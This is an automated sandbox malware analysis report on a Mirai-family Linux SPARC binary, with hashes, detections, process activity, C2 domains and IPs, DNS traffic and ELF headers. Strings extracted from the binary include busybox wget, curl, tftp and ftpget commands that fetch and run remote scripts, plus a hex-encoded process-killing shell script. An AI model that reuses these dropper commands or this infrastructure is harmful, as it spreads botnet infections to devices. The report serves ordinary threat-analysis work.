Edit tour

Linux Analysis Report
splspc.elf

Overview

General Information

Sample name:	splspc.elf
Analysis ID:	1580202
MD5:	50af4ff3c2b0844c9bea48d854f5215a
SHA1:	1b300e6cf118304f07007fc2ed8f8e15487dd65d
SHA256:	738020472e59c17c98e810e55bf2b61c394c53138b96872de8acf34b531393dc
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580202
Start date and time:	2024-12-24 04:15:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	splspc.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/91@15/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/splspc.elf
PID:	5519
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

splspc.elf (PID: 5519, Parent: 5442, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/splspc.elf

splspc.elf New Fork (PID: 5521, Parent: 5519)

splspc.elf New Fork (PID: 5523, Parent: 5521)

splspc.elf New Fork (PID: 5525, Parent: 5521)

splspc.elf New Fork (PID: 5526, Parent: 5521)

cleanup

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: splspc.elf	ReversingLabs: Detection: 42%
Source: splspc.elf	Virustotal: Detection: 44%			Perma Link

Source: global traffic	TCP traffic: 192.168.2.15:41152 -> 154.216.16.244:38241
Source: global traffic	TCP traffic: 192.168.2.15:42414 -> 209.38.192.73:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 184.209.115.58
Source: unknown	TCP traffic detected without corresponding DNS query: 150.166.47.245
Source: unknown	TCP traffic detected without corresponding DNS query: 132.232.53.10
Source: unknown	TCP traffic detected without corresponding DNS query: 76.99.224.100
Source: unknown	TCP traffic detected without corresponding DNS query: 115.186.242.141
Source: unknown	TCP traffic detected without corresponding DNS query: 220.80.40.199
Source: unknown	TCP traffic detected without corresponding DNS query: 168.168.221.152
Source: unknown	TCP traffic detected without corresponding DNS query: 20.196.195.69
Source: unknown	TCP traffic detected without corresponding DNS query: 130.151.2.15
Source: unknown	TCP traffic detected without corresponding DNS query: 73.18.247.5
Source: unknown	TCP traffic detected without corresponding DNS query: 196.37.244.250
Source: unknown	TCP traffic detected without corresponding DNS query: 217.237.133.51
Source: unknown	TCP traffic detected without corresponding DNS query: 145.182.6.104
Source: unknown	TCP traffic detected without corresponding DNS query: 73.183.24.58
Source: unknown	TCP traffic detected without corresponding DNS query: 186.121.185.119
Source: unknown	TCP traffic detected without corresponding DNS query: 11.162.225.22
Source: unknown	TCP traffic detected without corresponding DNS query: 51.153.105.0
Source: unknown	TCP traffic detected without corresponding DNS query: 117.179.215.138
Source: unknown	TCP traffic detected without corresponding DNS query: 206.215.242.141
Source: unknown	TCP traffic detected without corresponding DNS query: 75.54.19.107
Source: unknown	TCP traffic detected without corresponding DNS query: 39.121.192.179
Source: unknown	TCP traffic detected without corresponding DNS query: 199.213.136.42
Source: unknown	TCP traffic detected without corresponding DNS query: 61.225.99.219
Source: unknown	TCP traffic detected without corresponding DNS query: 36.238.25.195
Source: unknown	TCP traffic detected without corresponding DNS query: 74.55.98.22
Source: unknown	TCP traffic detected without corresponding DNS query: 218.79.174.112
Source: unknown	TCP traffic detected without corresponding DNS query: 124.27.39.81
Source: unknown	TCP traffic detected without corresponding DNS query: 73.66.207.27
Source: unknown	TCP traffic detected without corresponding DNS query: 94.153.114.109
Source: unknown	TCP traffic detected without corresponding DNS query: 205.142.223.209
Source: unknown	TCP traffic detected without corresponding DNS query: 163.132.63.89
Source: unknown	TCP traffic detected without corresponding DNS query: 156.22.46.34
Source: unknown	TCP traffic detected without corresponding DNS query: 94.121.138.100
Source: unknown	TCP traffic detected without corresponding DNS query: 65.152.0.232
Source: unknown	TCP traffic detected without corresponding DNS query: 206.221.234.211
Source: unknown	TCP traffic detected without corresponding DNS query: 174.249.138.12
Source: unknown	TCP traffic detected without corresponding DNS query: 145.50.133.160
Source: unknown	TCP traffic detected without corresponding DNS query: 167.77.144.250
Source: unknown	TCP traffic detected without corresponding DNS query: 212.105.147.78
Source: unknown	TCP traffic detected without corresponding DNS query: 177.242.34.123
Source: unknown	TCP traffic detected without corresponding DNS query: 22.86.0.6
Source: unknown	TCP traffic detected without corresponding DNS query: 39.156.220.38
Source: unknown	TCP traffic detected without corresponding DNS query: 153.168.185.62
Source: unknown	TCP traffic detected without corresponding DNS query: 158.50.199.103
Source: unknown	TCP traffic detected without corresponding DNS query: 76.90.151.229
Source: unknown	TCP traffic detected without corresponding DNS query: 160.188.128.121
Source: unknown	TCP traffic detected without corresponding DNS query: 64.251.64.36
Source: unknown	TCP traffic detected without corresponding DNS query: 206.220.212.61
Source: unknown	TCP traffic detected without corresponding DNS query: 191.53.218.241
Source: unknown	TCP traffic detected without corresponding DNS query: 103.113.217.88

Source: global traffic	DNS traffic detected: DNS query: serisontop.dyn
Source: global traffic	DNS traffic detected: DNS query: serisbot.geek. [malformed]

Source: splspc.elf	String found in binary or memory: http:///curl.sh
Source: splspc.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x2

Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5560/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5560/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5550/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5550/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5561/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5561/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5551/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5551/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5562/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5562/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5562/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5562/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5552/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5552/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5563/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5563/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5563/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5563/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5553/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5553/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5554/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5554/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5555/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5555/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5556/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5556/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5546/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5546/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5557/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5557/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5547/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5547/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5558/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5558/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5548/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5548/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5559/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5559/cmdline	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5549/maps	Jump to behavior
Source: /tmp/splspc.elf (PID: 5525)	File opened: /proc/5549/cmdline	Jump to behavior

Source: splspc.elf, 5519.1.0000555909bc1000.0000555909c46000.rw-.sdmp, splspc.elf, 5523.1.0000555909bc1000.0000555909c46000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: splspc.elf, 5519.1.0000555909bc1000.0000555909c46000.rw-.sdmp, splspc.elf, 5523.1.0000555909bc1000.0000555909c46000.rw-.sdmp	Binary or memory string: YU!/etc/qemu-binfmt/sparc
Source: splspc.elf, 5519.1.00007fffbcdc1000.00007fffbcde2000.rw-.sdmp, splspc.elf, 5523.1.00007fffbcdc1000.00007fffbcde2000.rw-.sdmp	Binary or memory string: {x86_64/usr/bin/qemu-sparc/tmp/splspc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splspc.elf
Source: splspc.elf, 5519.1.00007fffbcdc1000.00007fffbcde2000.rw-.sdmp, splspc.elf, 5523.1.00007fffbcdc1000.00007fffbcde2000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Source	Detection	Scanner	Label	Link
splspc.elf	42%	ReversingLabs	Linux.Backdoor.Mirai
splspc.elf	44%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
serisontop.dyn	154.216.16.244	true	false		high
serisbot.geek. [malformed]	unknown	unknown	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
57.181.120.198	unknown	Belgium	2686	ATGS-MMD-ASUS	false
19.174.200.249	unknown	United States	3	MIT-GATEWAYSUS	false
106.41.7.45	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
199.151.41.180	unknown	United States	4152	USDA-1US	false
74.221.73.197	unknown	United States	29979	PWN-ASBLKUS	false
158.137.7.228	unknown	United States	27405	PSCUS	false
183.136.84.34	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
9.65.65.209	unknown	United States	3356	LEVEL3US	false
22.217.160.129	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
213.241.39.255	unknown	Poland	12741	AS-NETIAWarszawa02-822PL	false
186.154.233.198	unknown	Colombia	32034	NEWCOM-INTLUS	false
216.160.247.125	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
197.240.131.136	unknown	unknown	37705	TOPNETTN	false
178.177.147.167	unknown	Russian Federation	25159	SONICDUO-ASRU	false
166.224.170.79	unknown	United States	6614	USCC-ASNUS	false
90.53.175.203	unknown	France	3215	FranceTelecom-OrangeFR	false
134.194.241.89	unknown	United States	289	DNIC-AS-00289US	false
139.89.67.53	unknown	Germany	270	AS270US	false
111.87.75.59	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
180.122.189.247	unknown	China	137702	CHINATELECOM-JIANGSU-NANJING-IDCNanjingJiangsuProvince	false
53.6.170.137	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
16.153.69.26	unknown	United States	unknown	unknown	false
17.62.8.6	unknown	United States	714	APPLE-ENGINEERINGUS	false
179.89.123.52	unknown	Brazil	26599	TELEFONICABRASILSABR	false
76.245.104.214	unknown	United States	7018	ATT-INTERNET4US	false
28.153.89.192	unknown	United States	7922	COMCAST-7922US	false
120.23.61.38	unknown	Australia	133612	VODAFONE-AS-APVodafoneAustraliaPtyLtdAU	false
157.157.40.57	unknown	Iceland	6677	ICENET-AS1IS	false
36.224.35.206	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
152.243.213.108	unknown	Brazil	26599	TELEFONICABRASILSABR	false
125.18.248.74	unknown	India	9498	BBIL-APBHARTIAirtelLtdIN	false
121.225.152.1	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
37.64.60.31	unknown	France	15557	LDCOMNETFR	false
135.183.233.252	unknown	United States	10455	LUCENT-CIOUS	false
218.123.202.237	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
173.252.166.226	unknown	United States	7381	SRS-6-Z-7381US	false
195.94.17.137	unknown	Yemen	12486	TELEYEMENSanaaYE	false
181.19.238.239	unknown	Venezuela	27889	TelecomunicacionesMOVILNETVE	false
108.233.118.241	unknown	United States	7018	ATT-INTERNET4US	false
164.209.76.237	unknown	United States	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
90.53.175.203	arm6-20220420-1957	Get hash	malicious	Mirai Moobot	Browse
197.240.131.136	whoareyou.x86	Get hash	malicious	Mirai	Browse
134.194.241.89	CBIFthrjJF.elf	Get hash	malicious	Mirai	Browse
134.194.241.89	cbr.arm	Get hash	malicious	Mirai	Browse
111.87.75.59	hoho.arm	Get hash	malicious	Mirai	Browse
74.221.73.197	7gfW4DWsR5	Get hash	malicious	Mirai	Browse
186.154.233.198	qKjg35J4FG	Get hash	malicious	Unknown	Browse
180.122.189.247	arm7	Get hash	malicious	Unknown	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
serisontop.dyn	zerppc.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	nklspc.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	ppc.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	nabarm7.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	zerarm5.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	splarm5.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	splsh4.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	nabx86.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	splmips.elf	Get hash	malicious	Unknown	Browse	154.216.16.250

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	splspc.elf	false		high
http:///curl.sh	splspc.elf	false		high

Process:	/tmp/splspc.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.1544857450967174
Encrypted:	false
SSDEEP:	6:M3gDFfX6/VUV4DFuG3j/VyY/VfKoO/VNfiY/VH:M3YlrVwUwwl
MD5:	B90C10286516AF2A9A88B7C91126CB57
SHA1:	D2E11713557C4F760DFD011C62951E1857BE8CCF
SHA-256:	F1878E7C50D8681065DCC021459BDB2D7874BDFC9AE9C98F885774A294568317
SHA-512:	E9C32A64FB13E590F516EF190A2B36C0752D73F55D7BB709F031F726E91D4043D75974FC232074E9B722EEA6CB70F5079D84187B97CE92D98454AD3A7A0B0AB1
Malicious:	false
Reputation:	low
Preview:	10000-20000 r-xp 00000000 fd:00 531606 /tmp/..20000-21000 rw-p 00010000 fd:00 531606 /tmp/..21000-23000 rw-p 00000000 00:00 0 .23000-24000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.9986769721798465
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	splspc.elf
File size:	66'440 bytes
MD5:	50af4ff3c2b0844c9bea48d854f5215a
SHA1:	1b300e6cf118304f07007fc2ed8f8e15487dd65d
SHA256:	738020472e59c17c98e810e55bf2b61c394c53138b96872de8acf34b531393dc
SHA512:	1fc67a22108fd943c7225b76349ee08331c420daf67d11d58d7116ac10369fdd291fe0b5f8bd0e8a768c43e23826019f222de4153709226a820263a6c97d69de
SSDEEP:	1536:ZIcBS7+yfIyo4WBFAL7LZeRxMnHdLssGFlYgXLqzH7LhL:Z145+4sc6a9YsQXXGzH5
TLSH:	80535B216A396E1BC4C4A87B21F74735F6A2270975E8C62E7D720E8FFF10644660B6F1
File Content Preview:	.ELF...........................4.........4. ...(...........................................................0........dt.Q................................@..(....@.:?................#.....a...`.....!..... ...@.....".........`......$ ... ...@...........`....

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	66000
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0xe934	0x0	0x6	AX	4
.fini	PROGBITS	0x1e9e4	0xe9e4	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1e9f8	0xe9f8	0xf88	0x0	0x2	A	8
.ctors	PROGBITS	0x20000	0x10000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x20008	0x10008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x20010	0x10010	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x20018	0x10018	0x174	0x0	0x3	WA	8
.bss	NOBITS	0x20190	0x1018c	0x11a0	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x1018c	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0xf980	0xf980	6.1201	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x10000	0x20000	0x20000	0x18c	0x1330	0.8110	0x6	RW	0x10000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 04:15:47.413242102 CET	192.168.2.15	185.181.61.24	0x7732	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:47.915049076 CET	192.168.2.15	81.169.136.222	0x4fa7	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:48.397052050 CET	192.168.2.15	81.169.136.222	0xda3c	Standard query (0)	serisbot.geek. [malformed]	256	356	false
Dec 24, 2024 04:15:48.877970934 CET	192.168.2.15	194.36.144.87	0x7099	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:49.384486914 CET	192.168.2.15	194.36.144.87	0xcbbf	Standard query (0)	serisbot.geek. [malformed]	256	357	false
Dec 24, 2024 04:16:00.188350916 CET	192.168.2.15	51.158.108.203	0xb7ba	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:16:11.658739090 CET	192.168.2.15	168.235.111.72	0xaafe	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:16:23.204514980 CET	192.168.2.15	81.169.136.222	0x8b5d	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:16:34.681452990 CET	192.168.2.15	168.235.111.72	0xe06d	Standard query (0)	serisbot.geek. [malformed]	256	402	false
Dec 24, 2024 04:16:46.224790096 CET	192.168.2.15	194.36.144.87	0xb657	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:16:57.702960968 CET	192.168.2.15	168.235.111.72	0x6e68	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:17:09.585299015 CET	192.168.2.15	185.181.61.24	0x1977	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:17:21.085150957 CET	192.168.2.15	81.169.136.222	0x4fe3	Standard query (0)	serisbot.geek. [malformed]	256	449	false
Dec 24, 2024 04:17:32.643624067 CET	192.168.2.15	185.181.61.24	0x5e7b	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:17:44.145103931 CET	192.168.2.15	194.36.144.87	0x6520	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 04:15:47.672739983 CET	185.181.61.24	192.168.2.15	0x7732	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:47.672739983 CET	185.181.61.24	192.168.2.15	0x7732	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:47.672739983 CET	185.181.61.24	192.168.2.15	0x7732	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:48.152312994 CET	81.169.136.222	192.168.2.15	0x4fa7	Refused (5)	serisontop.dyn	none	none	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:49.127125978 CET	194.36.144.87	192.168.2.15	0x7099	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:49.127125978 CET	194.36.144.87	192.168.2.15	0x7099	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:49.127125978 CET	194.36.144.87	192.168.2.15	0x7099	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:15:49.627587080 CET	194.36.144.87	192.168.2.15	0xcbbf	Format error (1)	serisbot.geek. [malformed]	none	none	256	357	false
Dec 24, 2024 04:16:00.426842928 CET	51.158.108.203	192.168.2.15	0xb7ba	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:16:00.426842928 CET	51.158.108.203	192.168.2.15	0xb7ba	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:16:00.426842928 CET	51.158.108.203	192.168.2.15	0xb7ba	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:16:11.968467951 CET	168.235.111.72	192.168.2.15	0xaafe	No error (0)	serisontop.dyn		209.38.192.73	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:16:11.968467951 CET	168.235.111.72	192.168.2.15	0xaafe	No error (0)	serisontop.dyn		154.216.16.244	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:16:11.968467951 CET	168.235.111.72	192.168.2.15	0xaafe	No error (0)	serisontop.dyn		154.216.16.250	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:16:23.443079948 CET	81.169.136.222	192.168.2.15	0x8b5d	Refused (5)	serisontop.dyn	none	none	A (IP address)	IN (0x0001)	false
